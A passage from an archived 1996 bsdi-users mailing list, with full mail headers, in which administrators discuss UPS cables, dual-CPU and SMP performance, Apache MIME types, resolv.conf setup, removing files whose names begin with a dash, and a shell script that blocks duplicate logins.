internex@pcrealm.net Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Fri, 29 Nov 1996 14:01:38 +1030 (CST) Greg Wiktor - System Administrator wrote: > I know, I wonder if BSDI 3.x will, since I do have a dual I would like to > use for BSDI... What are you doing, Greg, that you think will become faster with dual cpu's? [Standard disclaimer: These are my private opinions] From VM Sun Dec 1 18:02:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1592" "Thu" "28" "November" "1996" "22:31:33" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "48" "Re: BSDI/APC Back-UPS" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13773 for ; Thu, 28 Nov 1996 22:34:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28155 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:34:07 -0500 (EST) Message-Id: <199611290332.WAA13417@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "Brian Backer" , "Gail A. Harless" Cc: "BSD mailing list" Subject: Re: BSDI/APC Back-UPS Date: Thu, 28 Nov 96 22:31:33 not that I know of, for the cable you should have gotten it seperately, APC generally doesnt give them away(they cost about $15) On Thu, 28 Nov 1996 17:56:31 -0600 (CST), Gail A. Harless wrote: >Are you saying that there is a different model of APC Back-UPS that does >support BDS/OS? > >Regards, >Gail > >On Thu, 28 Nov 1996, Brian Backer wrote: > >> The proper model comes with the cables and software. >> >> >> On Thu, 28 Nov 1996, Gail A. Harless wrote: >> >> > I just purchased an APC Back-UPS Model 600 only to find out that there is >> > no software available from APC to interface with my BSDI on my server. In >> > addition, I cannot find a cable to connect the baackup unit with the >> > server. Should I send the unit back or is there a way around this >> > problem? Does anyone know of another battery backkup that comes with >> > software to interface with BSDI? Does anyone know of a cable? Has anyone >> > written software to connect the APC unit with their BSDI server? I need >> > advice ASAP because we are just starting to sign up customers. >> > >> > Regards, >> > Tim Harless >> > >> > ****************************************************************************** >> > Land of Lakes Communications >> > Setting New Standards in Quality and Customer Service >> > >> > >> > http://www.LandofLakes.com >> > gailh@LandofLakes.com (612) 462-1285 >> > ****************************************************************************** >> > >> > >> > >> > From VM Sun Dec 1 18:02:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1133" "Thu" "28" "November" "1996" "22:33:57" "" "Greg Wiktor" "internex@pcrealm.net" nil "27" "Re: Dual CPU (Was: Improving performance of processes that use passwd.)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA13777 for ; Thu, 28 Nov 1996 22:35:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28169 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:36:08 -0500 (EST) Message-Id: <199611290335.WAA13431@home.pcrealm.net> Reply-To: "Greg Wiktor - System Administrator " X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Greg Wiktor - System Administrator " Sender: owner-bsdi-users@lists.gateway.com To: "David Newall" , "internex@pcrealm.net" Cc: "bsdi-users" Subject: Re: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Thu, 28 Nov 96 22:33:57 On Fri, 29 Nov 1996 14:01:38 +1030 (CST), David Newall wrote: >Greg Wiktor - System Administrator wrote: >> I know, I wonder if BSDI 3.x will, since I do have a dual I would like to >> use for BSDI... > >What are you doing, Greg, that you think will become faster with dual cpu's? > > [Standard disclaimer: These are my private opinions] > Depends, mathematical applications are faster(I am using one on a development box), things like that, in many was a dual-100 can be better than a 166, and the other way around... It would be better if BSDI had SMP support, but who knows :> Greg Wiktor Senior System Administrator _____________________________________________________________________ Advantech Internet Services (WWW.PCREALM.NET) 60 Welcher Avenue Peekskill, NY 10566 Tel: 914-736-7300 Fax: 914-736-7024 E-Mail: SYSADMIN@PCREALM.NET ______________________________________________________________________ -IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- From VM Sun Dec 1 18:02:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["964" "Thu" "28" "November" "1996" "23:51:37" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "28" "Re: Apache not serving JPG's" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA14311 for ; Thu, 28 Nov 1996 22:57:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28235 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:51:51 -0500 (EST) In-Reply-To: <199611290228.VAA19763@puppy.easynet.on.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Apache not serving JPG's Date: Thu, 28 Nov 1996 23:51:37 -0400 (AST) On Thu, 28 Nov 1996, Barry Hemphill wrote: > On 28 Nov 96 at 15:54, Jeff Campbell wrote: > > I just converted the NT server at work here to BSDI 2.1 and > > much to my dismay have discovered that Apache does not serve JPEG's > > ouyt of the box. I have a number of them in a directory and only > > the .GIF and .XBMs are showing up in the browser. All permissions > > are the same. > > > > In which file do I specify that it should also serve .jpg files? > > The file you want to look at is mime.types - it's usually in a > directory called conf, in the apache server directory. I'm not sure > about the Apache that comes with BSDI 2.1 out of the box, but every > Apache distribution I've seen serves .jpg types without modification. > >From my mime.types file: > > image/jpeg jpeg jpg jpe I upgraded the June V1.0.0 dist to V1.1.1 tonight and everything is just sweet. Thanks for everyone's help. -- Jeff jacampbe@is2.dal.ca From VM Sun Dec 1 18:02:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["454" "Thu" "28" "November" "1996" "23:56:13" "-0400" "Jeff Campbell" "jacampbe@is2.dal.ca" nil "23" "Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA14316 for ; Thu, 28 Nov 1996 22:57:44 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28270 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:56:42 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jeff Campbell Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Simple DNS Q Date: Thu, 28 Nov 1996 23:56:13 -0400 (AST) Here is a simple one that I can't seem to get my mind around tonight. To long fighting with apache I think... When I go to do an nslookup, it can't seem to resolve the local host. It looks like this: ch1:/usr/local/bin nslookup Default Server: ch1.hfxcable.com Address: 0.0.0.0 > exit Which file do I need to edit, and what should it look like, to have ch1.hfxcable.com resolve to it's true address? Thanks. -- Jeff jacampbe@is2.dal.ca From VM Sun Dec 1 18:02:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["764" "Thu" "28" "November" "1996" "22:58:02" "-0500" "Henry Spencer" "henry@zoo.toronto.edu" nil "18" "Re: Improving performance of processes that use passwd." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA14320 for ; Thu, 28 Nov 1996 22:58:20 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id WAA28292 for bsdi-users-outgoing; Thu, 28 Nov 1996 22:58:35 -0500 (EST) Reply-To: Henry Spencer In-Reply-To: <199611290149.UAA12854@home.pcrealm.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Precedence: bulk From: Henry Spencer Sender: owner-bsdi-users@lists.gateway.com To: Greg Wiktor - System Administrator cc: BSDI Users Mailing List Subject: Re: Improving performance of processes that use passwd. Date: Thu, 28 Nov 1996 22:58:02 -0500 (EST) > True, but you are dealing with 5000 users, I'd think a p-166 would > better handle that... Human intuition, even experienced human intuition, about the location of performance bottlenecks is notorious for usually being wrong. One should resist the tendency to equate CPU clock rate with system performance. In fact, it is rare for CPU cycles to be the bottleneck except in numerical applications. Memory performance and I/O are more common trouble areas. As I recall, the P-100 and P-166 run their memory at exactly the same speed, and likewise (all else being equal) do I/O at exactly the same rate. Henry Spencer henry@zoo.toronto.edu From VM Sun Dec 1 18:02:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1229" "Thu" "28" "November" "1996" "23:06:37" "-0500" "Jerry Workman" "jerry@newwave.net" nil "45" "Re: Script passwd for CGI ???" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA14599 for ; Thu, 28 Nov 1996 23:08:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA28320 for bsdi-users-outgoing; Thu, 28 Nov 1996 23:07:10 -0500 (EST) Message-Id: <199611290406.XAA02578@ns.newwave.net> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Precedence: bulk From: "Jerry Workman" Sender: owner-bsdi-users@lists.gateway.com To: , "JOAO HENRIQUE BERGAMASCO" Subject: Re: Script passwd for CGI ??? Date: Thu, 28 Nov 1996 23:06:37 -0500 Joao, Take a look at my effort a http://www.newwave.net/~jerry/poppass.html. We've been using it here for nine months now and it has served us well. It began as a combination of Perl and Expect but I recently rewrote it totally in Perl using some of the (really great) Perl modules now available. You will also need to have poppassd installed on your host, Perl 5, and a few Perl modules to pull it all together. The Web page explains things. While you are there take a look at http://www.newwave.net/~jerry/popmail.html, a CGI POP mail client. Jerry Workman NewWave Internet ---------- From: JOAO HENRIQUE BERGAMASCO To: bsdi-users@BSDI.COM Subject: Script passwd for CGI ??? Date: Thursday, November 28, 1996 9:18 PM Hi folks! I have been looking for a Script CGI for change a customer password through html page and web apache. Thank you very much for your help. Joao Bergamasco, NetCo. ------------------------------------------ NetCo. Tecnologia de Informação Ltda. http://www.netco.com.br Internet/Intranet Provider João Henrique Bergamasco, Master CNE E-Mail: jhb@netco.com.br Florianópolis - SC - Brazil Fone/Fax +55(48)224-4140 ---------- From VM Sun Dec 1 18:02:45 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2002" "Fri" "29" "November" "1996" "14:39:43" "+1030" "David Newall" "davidn@rebel.net.au" nil "46" "Re: Dual CPU (Was: Improving performance of processes that use passwd.)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA14604 for ; Thu, 28 Nov 1996 23:11:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA28331 for bsdi-users-outgoing; Thu, 28 Nov 1996 23:10:09 -0500 (EST) Message-Id: <199611290409.OAA10634@rebel.net.au> In-Reply-To: <199611290335.WAA13431@home.pcrealm.net> from "Greg Wiktor - System Administrator" at Nov 28, 96 10:33:57 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: internex@pcrealm.net Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Fri, 29 Nov 1996 14:39:43 +1030 (CST) Greg Wiktor - System Administrator wrote: > On Fri, 29 Nov 1996 14:01:38 +1030 (CST), David Newall wrote: > >What are you doing, Greg, that you think will become faster with dual cpu's? > > Depends, mathematical applications are faster I didn't ask what sort of things benefit, I asked what you really are doing that benefits from extra CPU's. Now it's true that mathematical applications *can* be faster, but if you don't write your application cleverly, or if you don't use a clever compiler, or (and this is most likely) if your application isn't the right class of application, you won't get to see those extra CPUs. The way I see Unix being used is mostly as a network device; serving files, or routing to the internet, or shoving mail around. That sort of thing. There's hardly any scope for benefit there. Look at your cpu usage. Is your CPU 100% busy? Mine is 90% idle. Will an additional idle CPU really make the system faster? > It would be better if BSDI had SMP support There are plenty of things that BSDI could do which would be of more general benefit than SMP. Like removing every call to panic(). Like making I/O more efficient. Like supporting more devices. Like network file locks. Like support for Windows. The list is huge and, for most people, SMP should be right down the bottom. Why is there this lemming-like demand for SMP? I suggest most people who demand SMP don't know what benefit they will receive. I suggest most people reason that two CPU's obviously must be twice as fast as one. Sorry folks, it ain't necessarily so. Mind you when you're compiling a squillion programs, and when you've got a parallel make, those extra CPU's do help. Slight change of topic: I predict that these dual CPU boards will gain value from games. I predict that game writers will use them to render 3D views in parallel. I wonder why the manufacturers of these boards think that they are making them? [Standard disclaimer: These are my private opinions] From VM Sun Dec 1 18:02:48 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1813" "Fri" "29" "November" "1996" "15:50:52" "+1100" "ian mcwilliam" "i.mcwilliam@st.nepean.uws.edu.au" nil "66" "Re: Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA15692 for ; Thu, 28 Nov 1996 23:53:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id XAA28477 for bsdi-users-outgoing; Thu, 28 Nov 1996 23:50:32 -0500 (EST) X-Sender: ianm@mailkwd.st.nepean.uws.edu.au Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Sender: owner-bsdi-users@lists.gateway.com To: Jeff Campbell Cc: bsdi-users@BSDI.COM Subject: Re: Simple DNS Q Date: Fri, 29 Nov 1996 15:50:52 +1100 > Here is a simple one that I can't seem to get my mind around >tonight. To long fighting with apache I think... > > When I go to do an nslookup, it can't seem to resolve the local >host. It looks like this: > >ch1:/usr/local/bin nslookup >Default Server: ch1.hfxcable.com >Address: 0.0.0.0 > >> exit > > Which file do I need to edit, and what should it look like, to >have ch1.hfxcable.com resolve to it's true address? > > Thanks. > >-- >Jeff >jacampbe@is2.dal.ca /etc/resolv.conf place the following in it nameserver 127.0.0.1 search your.domain.goes.here domain your.domain.goes.here With the name server field, you can have the local loopback 127.0.0.1 and/or the ip address of your server and it's a good idea to place the ip address of a name server outside of your network, such as one of your providers. you can have up to 3 namersevers listed. They must be listed on one line with white space between them. Note some older verisons of bind have a bug such that using 127.0.0.1 caused problems, later version should be fine. hope this helps. Catch ya, ____________________________________________________________________________ Ian McWilliam. Technical Officer, Faculty of Science & Technology, Dept. of Computing. University of Western Sydney, NEPEAN. P.O.Box 10 Kingswood, N.S.W, Australia. 2560. (047) 360 757 ____________________________________________________________________________ People Get Lost in Thought 'cause it's Unknown Territory. CHIP - Found on the shoulders of Systems Support Personnel. It becomes Most evident when some fool claims that the computer has made a mistake!!!! ____________________________________________________________________________ E-Mail: ianm@st.nepean.uws.edu.au i.mcwilliam@st.nepean.uws.edu.au From VM Sun Dec 1 18:02:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1387" "Thu" "28" "November" "1996" "22:28:54" "-0800" "Kent Ketell" "kent_ketell@firstdata.com" nil "56" "Re: Simple DNS Q" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA18372 for ; Fri, 29 Nov 1996 01:33:36 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA28718 for bsdi-users-outgoing; Fri, 29 Nov 1996 01:29:20 -0500 (EST) Message-Id: <3.0.1.32.19961128222831.006b22e8@popgw.firstdata.com> X-Sender: kketell@popgw.firstdata.com X-Mailer: Windows Eudora Pro Version 3.0.1 beta 1 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Kent Ketell Sender: owner-bsdi-users@lists.gateway.com To: i.mcwilliam@st.nepean.uws.edu.au (ian mcwilliam) Cc: Jeff Campbell , bsdi-users@BSDI.COM Subject: Re: Simple DNS Q Date: Thu, 28 Nov 1996 22:28:54 -0800 At 03:50 PM 11/29/96 +1100, ian mcwilliam wrote: >> Here is a simple one that I can't seem to get my mind around >>tonight. To long fighting with apache I think... >> >> When I go to do an nslookup, it can't seem to resolve the local >>host. It looks like this: >> >>ch1:/usr/local/bin nslookup >>Default Server: ch1.hfxcable.com >>Address: 0.0.0.0 >> >>> exit >> >> Which file do I need to edit, and what should it look like, to >>have ch1.hfxcable.com resolve to it's true address? >> >> Thanks. >> >>-- >>Jeff >>jacampbe@is2.dal.ca > > >/etc/resolv.conf > >place the following in it > >nameserver 127.0.0.1 >search your.domain.goes.here >domain your.domain.goes.here > > >With the name server field, you can have the local loopback 127.0.0.1 >and/or the ip address of your server and it's a good idea to place the ip >address of a name server outside of your network, such as one of your >providers. you can have up to 3 namersevers listed. They must be listed on >one line with white space between them. Note some older verisons of bind >have a bug such that using 127.0.0.1 caused problems, later version should >be fine. > >hope this helps. > > > >From the resolv.conf manpage: The domain and search keywords are mutually exclusive. If more than one instance of these keywords is present, the last instance will override. -Kent- From VM Sun Dec 1 18:02:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1609" "Thu" "28" "November" "1996" "22:51:57" "-0800" "Keith McCallion" "keith@iswest.net" nil "42" "disappearing user?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA18906 for ; Fri, 29 Nov 1996 01:51:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id BAA28754 for bsdi-users-outgoing; Fri, 29 Nov 1996 01:53:40 -0500 (EST) X-Sender: keith@user1.iswest.com Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Keith McCallion Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: disappearing user? Date: Thu, 28 Nov 1996 22:51:57 -0800 (PST) My system seems to loose knowledge of me being connected to the machine. I've noticed this twice now, my entry apparently deleted from the utmp file. Here is a log from it's latest appearance. Any ideas? wanna:~ w 10:39PM up 23:40, 1 user, load averages: 0.06, 0.08, 0.08 USER TTY FROM LOGIN@ IDLE WHAT keith p0 trip.is.a.hick.c 10:39PM 0 w iwanna:~ rm .hushlogin iwanna:~ frm You have no mail. iwanna:~ ls motd iwanna:~ cat motd BSDI BSD/OS 2.1 Kernel #6: Sat Nov 23 16:11:21 PST 1996 ======================================================= Welcome to HICK.COM! ======================================================= iwanna:~ uptime 10:39PM up 23:40, 0 user, load averages: 0.13, 0.10, 0.08 iwanna:~ w 10:39PM up 23:41, 0 user, load averages: 0.12, 0.09, 0.08 USER TTY FROM LOGIN@ IDLE WHAT Also included, the last 5 logins: keith ttyp0 trip.is.a.hick.com Thu Nov 28 22:39 - 22:39 (00:00) josh ttyp0 ppp102.anv.net Thu Nov 28 22:17 - 22:17 (00:00) josh ttyp0 ppp069.anv.net Thu Nov 28 22:09 - 22:12 (00:03) keith ttyp0 trip.is.a.hick.com Thu Nov 28 18:17 - 18:18 (00:00) webmaster ttyp1 iwanna Thu Nov 28 12:32 - 12:32 (00:00) Keith --- Keith McCallion Coder/Tech Support Trippin@irc Asst SysAdmin/IRC Admin keith@iswest.net Internet Specialties West http://www.iswest.com/~keith/ 31194 La Baya Dr, Ste 106 Phone: (818) 735-3000 Fax: (818) 865-0614 From VM Sun Dec 1 18:02:52 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["152" "Fri" "29" "November" "1996" "01:59:42" "-0500" "Brian Backer" "bbacker@mail.blink.net" nil "9" "files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id CAA20974 for ; Fri, 29 Nov 1996 02:08:55 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id CAA29468 for bsdi-users-outgoing; Fri, 29 Nov 1996 02:08:21 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Brian Backer Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: files with a - in them Date: Fri, 29 Nov 1996 01:59:42 -0500 (EST) Anyone every had any luck getting rid of files with names starting like -* That "-" really screws things up, if ther is a way, please let me know. From VM Sun Dec 1 18:03:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2396" "" "28" "November" "1996" "19:36:34" "GMT" "Richard Drage" "richard@proweb.net" nil "95" "Re: Double Logins" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA02991 for ; Fri, 29 Nov 1996 09:39:19 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id JAA00867 for bsdi-users-outgoing; Fri, 29 Nov 1996 09:31:05 -0500 (EST) Path: vixen.cso.uiuc.edu!newsfeed.internetmci.com!cpk-news-hub1.bbnplanet.com!news.bbnplanet.com!cam-news-hub1.bbnplanet.com!news.idt.net!enews.sgi.com!ix.netcom.com!netcom.net.uk!xara.net!emerald.xara.net!Aladdin!proweb!usenet Newsgroups: info.bsdi.users Organization: Proweb (UK) Ltd Lines: 95 Message-ID: <01bbdd63$a0682060$0a8eb0c2@Richard.Proweb> References: <3.0.32.19961127205059.006b5a70@pop.comptec.com> NNTP-Posting-Host: red.proweb.net X-Newsreader: Microsoft Internet News 4.70.1155 X-MDMail-Server: MDaemon v2.0 rR b1 16 Precedence: bulk From: "Richard Drage" Sender: owner-bsdi-users@lists.gateway.com Apparently-To: bsdi-users@lists.gateway.com Subject: Re: Double Logins Date: 28 Nov 1996 19:36:34 GMT Under 2.1, you can assign a additional login authorisation scripts in /etc/login.conf: ------------- login.conf ------------- :approve=/usr/libexec/login_app ------------- login_app ------------- #!/bin/sh ############################################################ ########## # Multiple Login Check - R.Drage 01/05/96 v1.0 # # # # called by: /etc/login.conf (:approve=/usr/libexec/login_approve) # # # ############################################################ ########## # # Do a who piped to grep for username + " " (whitespace for exact match) # if not found, exit status 0 (login accepted) # if found, exit status 100 (login denied) # PATH=/sbin:/usr/sbin:/bin:/usr/bin check=`who|grep "$1 "` if [ "$check" ] ; then tmpfile="/tmp/$1.ad.tmp" echo " ***** SECURITY WARNING *****" echo "" echo "Access Denied - You are already logged in !" echo "" echo "User: Port: Date: Time:" echo "`who|grep "$1 "`" echo "" echo "" echo "Note - Please contact Tech Support" echo " if you wish to change your password." echo "" cp /etc/login_denied $tmpfile echo "Attempt occurred on `date`" >> $tmpfile echo "" >> $tmpfile echo "User: Port: Date: Time:" >> $tmpfile echo "`who|grep "$1 "`" >> $tmpfile # # Send body text and details to user & root, remove tmp file # `cat $tmpfile | /usr/sbin/sendmail $1` # # Mail root # echo "Unapproved multiple login : `date` by : $1" > $tmpfile `cat $tmpfile | /usr/sbin/sendmail root` `rm $tmpfile` # # Return to calling proc with exit not 0 # exit 100 fi exit 0 ---------------------------------------------------- You also need to create a text file (/etc/login_denied) containing a message in which will be mailed to the user with the time and date info appended on the bottom. I used this for about 4 months and it was fine, I've now replaced it with a 'c' equiv which checks 'account held' lists etc.... Hope this helps ... On another note, does anybody have the source code for 'top' as I want to alter it. Regards Richard Drage richard@proweb.net From VM Sun Dec 1 18:03:00 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["400" "Thu" "28" "November" "1996" "23:02:50" "-1000" "Sherwood Pekelo" "spekelo@iav.com" nil "20" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA03793 for ; Fri, 29 Nov 1996 10:03:00 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA00913 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:02:03 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Sherwood Pekelo Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Thu, 28 Nov 1996 23:02:50 -1000 (HST) On Fri, 29 Nov 1996, Brian Backer wrote: > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > try rm ./-* <-- p. 81 Essential System Administration AEleen Frisch O'Reilly & Associates, Inc. etc etc etc... found it under files deleting hard cases -- Aloha from Paradise, Sherwood From VM Sun Dec 1 18:03:02 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["233" "Fri" "29" "November" "1996" "08:39:58" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "15" "Re: files with a - in them" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA04885 for ; Fri, 29 Nov 1996 10:46:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA01101 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:40:23 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: Brian Backer cc: bsdi-users@BSDI.COM Subject: Re: files with a - in them Date: Fri, 29 Nov 1996 08:39:58 -0700 (MST) Type rm ./-filename On Fri, 29 Nov 1996, Brian Backer wrote: > > Anyone every had any luck getting rid of files with names > starting like > > -* > > That "-" really screws things up, if ther is a way, please let me know. > From VM Sun Dec 1 18:03:03 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2385" "Fri" "29" "November" "1996" "09:45:24" "-0600" "Marc Wiz" "marc@frshaire.wiz.com" nil "60" "Re: Dual CPU (Was: Improving performance of processes that use passwd.)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id KAA04894 for ; Fri, 29 Nov 1996 10:52:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.3/555-1212) id KAA01124 for bsdi-users-outgoing; Fri, 29 Nov 1996 10:47:22 -0500 (EST) Message-Id: <199611291545.JAA20200@frshaire.wiz.com> In-Reply-To: <199611290409.OAA10634@rebel.net.au> from "David Newall" at Nov 29, 96 02:39:43 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Marc Wiz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: Dual CPU (Was: Improving performance of processes that use passwd.) Date: Fri, 29 Nov 1996 09:45:24 -0600 (CST) > > Greg Wiktor - System Administrator wrote: > I didn't ask what sort of things benefit, I asked what you really are doing > that benefits from extra CPU's. Now it's true that mathematical applications > *can* be faster, but if you don't write your application cleverly, or if you > don't use a clever compiler, or (and this is most likely) if your application > isn't the right class of application, you won't get to see those extra CPUs. > > The way I see Unix being used is mostly as a network device; serving files, > or routing to the internet, or shoving mail around. That sort of thing. > There's hardly any scope for benefit there. > > Look at your cpu usage. Is your CPU 100% busy? Mine is 90% idle. Will an > additional idle CPU really make the system faster? > Multiple CPU's are good when you have more than one CPU intensive process. It is also good if you have threads (BSD 3.0 will according to the list) where more than one thread is CPU intensive. > > > It would be better if BSDI had SMP support > > There are plenty of things that BSDI could do which would be of more general > benefit than SMP. Like removing every call to panic(). Like making I/O > more efficient. Like supporting more devices. Like network file locks. > Like support for Windows. The list is huge and, for most people, SMP should > be right down the bottom. > > Why is there this lemming-like demand for SMP? I suggest most people who > demand SMP don't know what benefit they will receive. I suggest most people > reason that two CPU's obviously must be twice as fast as one. Sorry folks, > it ain't necessarily so. > > Mind you when you're compiling a squillion programs, and when you've got > a parallel make, those extra CPU's do help. > Or when someone writes a threaded program that can take advantage of multiple CPU's. > > Slight change of topic: I predict that these dual CPU boards will gain value > from games. I predict that game writers will use them to render 3D views in > parallel. I wonder why the manufacturers of these boards think that they > are making them? Ah another person who thought of that :-) It will be quite interesting to see what kind of games come out. It's "bad" enough some games require a Pentium but two of them? :-) But I digress from the original topic. Marc -- Marc Wiz marc@wiz.com Yes, 